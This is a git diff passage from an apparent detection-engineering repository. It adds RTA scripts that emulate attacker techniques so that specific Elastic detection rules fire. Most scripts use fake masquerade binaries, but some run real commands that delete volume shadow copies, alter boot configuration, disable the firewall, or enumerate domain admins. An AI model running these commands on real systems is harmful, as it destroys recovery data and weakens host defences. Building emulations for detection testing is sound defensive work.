uuid="9d02871f-6338-47aa-84c4-7d622692319f", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Modification of Safari Settings via Defaults Command", + "rule_id": "396e1138-243c-4215-a8ed-be303204710d", + } + ], + siem=[ + { + "rule_name": "Modification of Safari Settings via Defaults Command", + "rule_id": "6482255d-f468-45ea-a5b3-d3a7de1331ae", + } + ], + techniques=["T1562"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/defaults" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching commands to mimic defaults modifying safari configurations.") + common.execute([masquerade, "write", "com.apple.Safari", "JavaScript"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/delete_bootconf.py b/rta/delete_bootconf.py index 39509056a..e3d86d4fe 100644 --- a/rta/delete_bootconf.py +++ b/rta/delete_bootconf.py @@ -13,9 +13,19 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="eaf71384-2e38-4970-b170-9645ccde1d2b", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "69c251fb-a5d6-4035-b5ec-40438bd829ff", "rule_name": "Modification of Boot Configuration"}], + techniques=["T1490"], +) + + +@common.requires_os(metadata.platforms) def main(): # Messing with the boot configuration is probably not a great idea so create a backup: common.log("Exporting the boot configuration....") diff --git a/rta/delete_catalogs.py b/rta/delete_catalogs.py index 954b26f6d..24aa819dd 100644 --- a/rta/delete_catalogs.py +++ b/rta/delete_catalogs.py @@ -11,9 +11,19 @@ import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="8ffd2053-c04a-435a-84b3-a8403a5395db", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "581add16-df76-42bb-af8e-c979bfb39a59", "rule_name": "Deleting Backup Catalogs with Wbadmin"}], + techniques=["T1490"], +) + + +@common.requires_os(metadata.platforms) def main(): warning = "Deleting the backup catalog may have unexpected consequences. Operational issues are unknown." common.log("WARNING: %s" % warning, log_type="!") diff --git a/rta/delete_usnjrnl.py b/rta/delete_usnjrnl.py index 4e571a669..9f08963a1 100644 --- a/rta/delete_usnjrnl.py +++ b/rta/delete_usnjrnl.py @@ -12,9 +12,19 @@ import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="5d049893-b5ca-4482-a9ea-c38c6d01c171", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "f675872f-6d85-40a3-b502-c0d2ef101e92", "rule_name": "Delete Volume USN Journal with Fsutil"}], + techniques=["T1070"], +) + + +@common.requires_os(metadata.platforms) def main(): message = "Deleting the USN journal may have unintended consequences" common.log("WARNING: %s" % message, log_type="!") diff --git a/rta/delete_volume_shadows.py b/rta/delete_volume_shadows.py index 22373a7b3..fef2ae862 100644 --- a/rta/delete_volume_shadows.py +++ b/rta/delete_volume_shadows.py @@ -11,9 +11,19 @@ # Description: Uses both vssadmin.exe and wmic.exe to delete volume shadow copies. from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="ae6343cc-3b56-4f60-854f-7102db519ec4", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "dc9c1f74-dac3-48e3-b47f-eb79db358f57", "rule_name": "Volume Shadow Copy Deletion via WMIC"}], + techniques=["T1490"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("Deleting volume shadow copies...") common.execute(["vssadmin.exe", "delete", "shadows", "/for=c:", "/oldest", "/quiet"]) diff --git a/rta/directory_service_plugin_file.py b/rta/directory_service_plugin_file.py new file mode 100644 index 000000000..5152f13c7 --- /dev/null +++ b/rta/directory_service_plugin_file.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ff744c89-20cb-4be0-9725-2430d0be7f6a", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Persistence via DirectoryService Plugin Modification", + "rule_id": "89fa6cb7-6b53-4de2-b604-648488841ab8", + } + ], + techniques=["T1547"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing file modification on test.dsplug to mimic DirectoryService plugin modification") + common.temporary_file_helper("testing", file_name="/Library/DirectoryServices/PlugIns/test.dsplug") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/disable_os_security_updates.py b/rta/disable_os_security_updates.py new file mode 100644 index 000000000..d5f316d01 --- /dev/null +++ b/rta/disable_os_security_updates.py @@ -0,0 +1,56 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f4e4a28e-c845-4b26-bfdf-24128e73ef21", + platforms=["macos"], + endpoint=[ + {"rule_name": "Operating System Security Updates Disabled", "rule_id": "741ad90d-e8d0-4d29-b91b-3d68108cb789"} + ], + siem=[{"rule_name": "SoftwareUpdate Preferences Modification", "rule_id": "f683dcdf-a018-4801-b066-193d4ae6c8e5"}], + techniques=["T1562"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/defaults" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands for system discovery with builtin cmds") + + # ER + common.execute( + [ + masquerade, + "write", + "-bool", + "com.apple.SoftwareUpdate", + "CriticalUpdateInstall", + "NO", + ], + timeout=10, + kill=True, + ) + + # DR + common.execute( + [masquerade, "write", "-bool", "com.apple.SoftwareUpdate", "NO"], + timeout=10, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/disable_windows_fw.py b/rta/disable_windows_fw.py index df0cf752d..ceb612b6d 100644 --- a/rta/disable_windows_fw.py +++ b/rta/disable_windows_fw.py @@ -12,9 +12,19 @@ import os from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="75e14e5a-1188-47ea-9b96-2cf6e9443fc2", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "4b438734-3793-4fda-bd42-ceeada0be8f9", "rule_name": "Disable Windows Firewall Rules via Netsh"}], + techniques=["T1562"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("NetSH Advanced Firewall Configuration", log_type="~") netsh = "netsh.exe" diff --git a/rta/discovery_virtual_machine_grep.py b/rta/discovery_virtual_machine_grep.py new file mode 100644 index 000000000..86f7cce49 --- /dev/null +++ b/rta/discovery_virtual_machine_grep.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="92407d57-e5ce-41b1-933a-7cad26158802", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Potential Virtual Machine Fingerprinting via Grep", + "rule_id": "e5c0963c-0367-4d24-bdf2-5af3a233e57b", + } + ], + siem=[{"rule_name": "Virtual Machine Fingerprinting via Grep", "rule_id": "c85eb82c-d2c8-485c-a36f-534f914b7663"}], + techniques=["T1082", "T1497"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing egrep commands to fingerprint virtual machine.") + common.execute(["egrep", "-i", '"Manufacturer: (parallels|vmware|virtualbox)"'], shell=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/dock_plist.py b/rta/dock_plist.py new file mode 100644 index 000000000..7695da37e --- /dev/null +++ b/rta/dock_plist.py @@ -0,0 +1,30 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from pathlib import Path +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="38c81994-958f-40c8-bb6a-20bc1b93d598", + platforms=["macos"], + endpoint=[], + siem=[ + {"rule_name": "Persistence via Docker Shortcut Modification", "rule_id": "c81cefcb-82b9-4408-a533-3c3df549e62d"} + ], + techniques=["T1543"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing file modification on com.apple.dock.plist to mimic dock plist modification") + common.temporary_file_helper("testing", file_name=f"{Path.home()}/Library/Preferences/com.apple.dock.plist") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/double_persist.py b/rta/double_persist.py new file mode 100644 index 000000000..236898088 --- /dev/null +++ b/rta/double_persist.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="74d0c16a-8af1-4dbb-9202-cc4b25208ea6", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Untrusted Process Writing to Commonly Abused Persistence Locations", + "rule_id": "392b0c89-1427-4601-8b32-01e8e40600a6", + } + ], + siem=[], + techniques=["T1547", "T1112"], +) + +EXE_FILE = common.get_path("bin", "DoublePersist.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "DoublePersist.exe" + common.copy_file(EXE_FILE, binary) + + common.execute([binary]) + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/dscl_hidden_account.py b/rta/dscl_hidden_account.py new file mode 100644 index 000000000..1c06e02be --- /dev/null +++ b/rta/dscl_hidden_account.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b084e9dd-0c79-480c-b488-049ab8167b38", + platforms=["macos"], + endpoint=[], + siem=[ + {"rule_name": "Potential Hidden Local User Account Creation", "rule_id": "41b638a1-8ab6-4f8e-86d9-466317ef2db5"} + ], + techniques=["T1078"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/dscl" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake dscl commands to mimic creating a local hidden account.") + common.execute([masquerade, "IsHidden", "create", "true"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/dseditgroup_admin_add.py b/rta/dseditgroup_admin_add.py new file mode 100644 index 000000000..bd8278216 --- /dev/null +++ b/rta/dseditgroup_admin_add.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d5643e8a-c3f5-48a7-9f64-7255f603a24a", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Potential Admin Group Account Addition", "rule_id": "565c2b44-7a21-4818-955f-8d4737967d2e"}], + techniques=["T1078"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/dseditgroup" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake dseditgroup commands to mimic adding a user to an admin group") + common.execute([masquerade, "admin", "-append"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/dynwrapx_image_load.py b/rta/dynwrapx_image_load.py new file mode 100644 index 000000000..17c8aa373 --- /dev/null +++ b/rta/dynwrapx_image_load.py @@ -0,0 +1,58 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import time + + +metadata = RtaMetadata( + uuid="d8de8c03-d5d0-4118-8971-32439638d69f", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Dynwrapx Image Load via Windows Scripts", "rule_id": "4cd6f758-0057-4e8a-9701-20b6116c2118"}, + { + "rule_name": "Suspicious Windows Script Interpreter Child Process", + "rule_id": "83da4fac-563a-4af8-8f32-5a3797a9068e", + }, + ], + siem=[], + techniques=["T1055", "T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + cscript = "C:\\Users\\Public\\cscript.exe" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = "C:\\Users\\Public\\dynwrapx.dll" + ps1 = "C:\\Users\\Public\\Invoke-ImageLoad.ps1" + rcedit = "C:\\Users\\Public\\rcedit.exe" + common.copy_file(EXE_FILE, cscript) + common.copy_file(user32, dll) + common.copy_file(PS1_FILE, ps1) + common.copy_file(RENAMER, rcedit) + + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute([rcedit, dll, "--set-version-string", "OriginalFilename", "dynwrapx.dll"]) + + common.log("Loading dynwrapx.dll into fake cscript") + common.execute([cscript, "-c", f"Import-Module {ps1}; Invoke-ImageLoad {dll}"], timeout=10) + + # No idea on why, but after a lot of headaches, I discovered that the dll.pe.original_file_name + # is only populated if I delay the removal of the dll file + time.sleep(5) + common.remove_files(cscript, dll, ps1, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/edmond_child_process.py b/rta/edmond_child_process.py new file mode 100644 index 000000000..0d8eec9ba --- /dev/null +++ b/rta/edmond_child_process.py @@ -0,0 +1,34 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="58041706-c636-4043-b221-3d59f977b7e2", + platforms=["macos"], + endpoint=[{"rule_name": "Potential Persistence via Emond", "rule_id": "1cd247d8-00e8-4c62-b9ee-90cd1811460b"}], + siem=[{"rule_name": "Suspicious Emond Child Process", "rule_id": "3e3d15c6-1509-479a-b125-21718372157e"}], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/emond" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching bash from fake emond command") + common.execute([masquerade], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/eggshell_backdoor.py b/rta/eggshell_backdoor.py new file mode 100644 index 000000000..316713975 --- /dev/null +++ b/rta/eggshell_backdoor.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="be090f8e-dc7b-41eb-9c7e-74a0aed0dad1", + platforms=["macos", "linux"], + endpoint=[{"rule_name": "EggShell Backdoor Execution", "rule_id": "feed7842-34a6-4764-b858-6e5ac01a5ab7"}], + siem=[{"rule_name": "EggShell Backdoor Execution", "rule_id": "41824afb-d68c-4d0e-bfee-474dac1fa56e"}], + techniques=["T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/eggshell" + if common.CURRENT_OS == "linux": + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + else: + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands for EggShell backdoor behavior") + common.execute([masquerade, "eyJkZWJ1ZyI6test"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/elevated_osascript_execution.py b/rta/elevated_osascript_execution.py new file mode 100644 index 000000000..2b5933e52 --- /dev/null +++ b/rta/elevated_osascript_execution.py @@ -0,0 +1,46 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="086c6cae-22ac-47b6-bd24-85b33d8cf3a2", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Elevated Apple Script Execution via Unsigned Parent", + "rule_id": "f17c8dcf-d65f-479a-b047-3558233f774e", + } + ], + siem=[ + { + "rule_name": "Apple Scripting Execution with Administrator Privileges", + "rule_id": "827f8d8f-4117-4ae4-b551-f56d54b9da6b", + } + ], + techniques=["T1078", "T1548", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/bash" + common.copy_macos_masquerade(masquerade) + + # Execute commands + common.log("Launching fake osascript commands to mimic apple script execution") + command = "osascript with administrator privileges" + common.execute([masquerade, "childprocess", command], shell=True, timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/emond_child_process.py b/rta/emond_child_process.py new file mode 100644 index 000000000..e14a7b246 --- /dev/null +++ b/rta/emond_child_process.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d1988e82-a079-4fc2-99f7-2bdbc9af0e00", + platforms=["macos"], + endpoint=[{"rule_name": "Potential Persistence via Emond", "rule_id": "1cd247d8-00e8-4c62-b9ee-90cd1811460b"}], + siem=[{"rule_name": "Suspicious Emond Child Process", "rule_id": "3e3d15c6-1509-479a-b125-21718372157e"}], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # create masquerades + masquerade = "/tmp/emond" + masquerade2 = "/tmp/bash" + common.create_macos_masquerade(masquerade) + common.create_macos_masquerade(masquerade2) + + # Execute commands + common.log("Launching fake emond commands to mimic spawning child process.") + common.execute([masquerade, "childprocess", masquerade2], timeout=5, kill=True) + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/emond_plist.py b/rta/emond_plist.py new file mode 100644 index 000000000..25c692c02 --- /dev/null +++ b/rta/emond_plist.py @@ -0,0 +1,27 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="2c186f11-d07c-4df6-8b86-bf9ffd6ca871", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Emond Rules Creation or Modification", "rule_id": "a6bf4dd4-743e-4da8-8c03-3ebd753a6c90"}], + techniques=["T1546"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + common.log("Executing file modification on test.plist to mimic emond file modification") + common.temporary_file_helper("testing", file_name="/private/etc/emond.d/rules/test.plist") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/empire_stager.py b/rta/empire_stager.py new file mode 100644 index 000000000..81d4ff257 --- /dev/null +++ b/rta/empire_stager.py @@ -0,0 +1,42 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="4d7ce5b3-f8e4-434c-9caa-c7e133146b27", + platforms=["macos", "linux"], + endpoint=[{"rule_name": "Empire Stager Execution", "rule_id": "b7974ff6-82ff-4743-9e07-1c6901b1f0ea"}], + siem=[], + techniques=["T1132", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/bash" + if common.CURRENT_OS == "linux": + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + else: + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake bash with base64 decode commands") + common.execute( + [masquerade, "exec(base64.b64decode*aW1wb3J0IHN5cztpbXBvcnQg)"], + timeout=10, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/enum_commands.py b/rta/enum_commands.py index 030f1d9bb..31be7d360 100644 --- a/rta/enum_commands.py +++ b/rta/enum_commands.py @@ -12,22 +12,31 @@ import argparse import random from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="9b19f4a3-7287-45d2-ab0f-9a9c0b1bc8e1", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "7b8bfc26-81d2-435e-965c-d722ee397ef1", "rule_name": "Windows Network Enumeration"}, + {"rule_id": "871ea072-1b71-4def-b016-6278b505138d", "rule_name": "Enumeration of Administrator Accounts"}, + ], + techniques=["T1135", "T1069", "T1087", "T1018"], +) + + +@common.requires_os(metadata.platforms) def main(args=None): - slow_commands = [ - "gpresult.exe /z", - "systeminfo.exe" - ] + slow_commands = ["gpresult.exe /z", "systeminfo.exe"] commands = [ "ipconfig /all", "net localgroup administrators", "net user", "net user administrator", - "net user /domain" - "tasklist", + "net user /domain" "tasklist", "net view", "net view /domain", "net view \\\\%s" % common.get_ip(), @@ -43,7 +52,7 @@ def main(args=None): "net accounts", "net localgroup", "net group", - "net group \"Domain Admins\" /domain", + 'net group "Domain Admins" /domain', "net share", "net config workstation", ] @@ -51,8 +60,14 @@ def main(args=None): commands.extend(slow_commands) parser = argparse.ArgumentParser() - parser.add_argument('-s', '--sample', dest="sample", default=len(commands), type=int, - help="Number of commands to run, chosen at random from the list of enumeration commands") + parser.add_argument( + "-s", + "--sample", + dest="sample", + default=len(commands), + type=int, + help="Number of commands to run, chosen at random from the list of enumeration commands", + ) args = parser.parse_args(args) sample = min(len(commands), args.sample) @@ -65,7 +80,7 @@ def main(args=None): common.log("About to call {}".format(command)) if command in slow_commands: common.execute(command, kill=True, timeout=15) - common.log("[output suppressed]", log_type='-') + common.log("[output suppressed]", log_type="-") else: common.execute(command) diff --git a/rta/enumeration_linpeas.py b/rta/enumeration_linpeas.py new file mode 100644 index 000000000..059bee14d --- /dev/null +++ b/rta/enumeration_linpeas.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="b88c08af-eee5-4683-a56a-36e91e6386d5", + platforms=["macos", "linux"], + endpoint=[ + {"rule_name": "Privilege Escalation Enumeration via LinPEAS", "rule_id": "92bb2a27-745b-4291-90a1-b7b654df1379"} + ], + siem=[], + techniques=["T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/sed" + if common.CURRENT_OS == "linux": + source = common.get_path("bin", "linux.ditto_and_spawn") + common.copy_file(source, masquerade) + else: + common.create_macos_masquerade(masquerade) + + common.log("Executing fake sed command for LinPEAS behavior.") + common.execute([masquerade, "testImPoSSssSiBlEeetest"], timeout=5, kill=True, shell=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/env_variable_hijacking.py b/rta/env_variable_hijacking.py new file mode 100644 index 000000000..f2663cc22 --- /dev/null +++ b/rta/env_variable_hijacking.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="a18454da-5f28-4223-95d6-5dc1f58c861a", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Modification of Environment Variable via Launchctl", + "rule_id": "7453e19e-3dbf-4e4e-9ae0-33d6c6ed15e1", + } + ], + techniques=["T1574"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/launchctl" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake launchctl command to mimic env variable hijacking") + common.execute([masquerade, "setenv"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_control_panel_cpl.py b/rta/exec_control_panel_cpl.py new file mode 100644 index 000000000..c9bd41364 --- /dev/null +++ b/rta/exec_control_panel_cpl.py @@ -0,0 +1,30 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="ad9c9b24-cff3-4c4e-9fba-5c51ca9e58ae", + platforms=["windows"], + endpoint=[ + {"rule_name": "Control Panel Process with Unusual Arguments", "rule_id": "a4862afb-1292-4f65-a15f-8d6a8019b5e2"} + ], + siem=[], + techniques=["T1218"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # Execute command + common.log("Executing control.exe with a non-existing .cpl file") + common.execute(["control.exe", "cpl1.cpl:../a"], timeout=10) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_cscript_suspicious_powershell.py b/rta/exec_cscript_suspicious_powershell.py new file mode 100644 index 000000000..09fff7242 --- /dev/null +++ b/rta/exec_cscript_suspicious_powershell.py @@ -0,0 +1,40 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="c562a05e-0ac8-46f9-91a2-5e99c8a1117c", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Suspicious PowerShell Execution via Windows Scripts", + "rule_id": "3899dd3b-f31a-4634-8467-55326cd87597", + }, + ], + siem=[], + techniques=["T1218", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + cscript = "C:\\Users\\Public\\cscript.exe" + common.copy_file(EXE_FILE, cscript) + + cmd = "powershell -c echo https://raw.githubusercontent.com/" + # Execute command + common.execute([cscript, "/c", cmd], timeout=10) + common.remove_file(cscript) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_echo_named_pipe.py b/rta/exec_echo_named_pipe.py new file mode 100644 index 000000000..20a1bdc28 --- /dev/null +++ b/rta/exec_echo_named_pipe.py @@ -0,0 +1,32 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f94f70a3-7c63-4f75-b5bc-f2227e284934", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Privilege Escalation via Named Pipe Impersonation", + "rule_id": "a0265178-779d-4bc5-b3f1-abb3bcddedab", + } + ], + siem=[], + techniques=["T1134"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + # Execute command + common.execute(["cmd.exe", "/c", "'echo", "cmd.exe", ">", "\\\\.\\pipe\\named'"], timeout=5) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_explorer_trampoline.py b/rta/exec_explorer_trampoline.py new file mode 100644 index 000000000..1916b3419 --- /dev/null +++ b/rta/exec_explorer_trampoline.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="5e911636-6f68-40d3-b1ef-7a951a397cc9", + platforms=["windows"], + endpoint=[ + { + "rule_name": "Execution of Commonly Abused Utilities via Explorer Trampoline", + "rule_id": "5e8498bb-8cc0-412f-9017-793d94ab76a5", + } + ], + siem=[], + techniques=["T1218", "T1566", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + explorer = "C:\\Users\\Public\\explorer.exe" + common.copy_file(EXE_FILE, explorer) + + common.execute( + [ + explorer, + "-c", + "echo", + "/factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b}", + ";mshta", + ], + timeout=10, + ) + common.remove_files(explorer) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/exec_ms_dotnet_clickonce.py b/rta/exec_ms_dotnet_clickonce.py new file mode 100644 index 000000000..9cd761e0b --- /dev/null +++ b/rta/exec_ms_dotnet_clickonce.py @@ -0,0 +1,57 @@ +# Copyright Elasticsearch B.V. and/or 